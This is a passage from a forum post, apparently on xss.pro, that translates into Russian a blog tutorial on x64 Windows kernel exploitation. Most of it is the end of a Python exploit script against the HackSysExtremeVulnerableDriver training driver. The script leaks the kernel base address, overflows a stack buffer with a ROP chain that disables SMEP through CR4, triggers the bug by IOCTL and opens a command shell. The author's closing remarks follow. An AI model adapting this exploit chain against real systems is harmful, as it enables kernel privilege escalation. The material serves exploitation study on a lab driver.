    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)

# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)

# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]

print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))

# Offset to ret overwrite
input_buffer = ("\x41" * 2056)

# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret

print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                           # Intended CR4 value

print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret

print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode

input_buffer_length = len(input_buffer)

# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)

# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

os.system("cmd.exe /k cd C:\\")

Этот шеллкод добавляет 0x40 к RSP, как вы можете видеть сверху. Это характерно для процесса, который я использовал, чтобы возобновить выполнение. Также в этом случае RAX уже был установлен на 0. Следовательно, в xor rax, rax необходимости не было.

Как видите, мы обошли SMEP!

SMEP.png


Обход SMEP через перезапись PTE

Возможно, я еще вернусь к этому в другом блоге. Я собираюсь вернуться и провести еще несколько исследований по модулю диспетчера памяти и подкачке памяти в Windows. Когда это исследование будет завершено, я перейду к низкоуровневым деталям перезаписи записей таблицы страниц, чтобы превратить страницы пользовательского режима в страницы режима ядра. Кроме того, я пойду и проведу дополнительные исследования памяти пула в режиме ядра и изучу, как функционируют и ведут себя UAF эксплойты ядра при переполнении пула.

Спасибо, что присоединились ко мне в этом путешествии! И спасибо Мортену Шенку, Алексу Ионеску и Intel. Вы все мне очень помогли.

Не стесняйтесь обращаться ко мне с любыми предложениями, комментариями или исправлениями! Я открыт для всего этого.

Мира, любви и позитива :)

Источник: https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх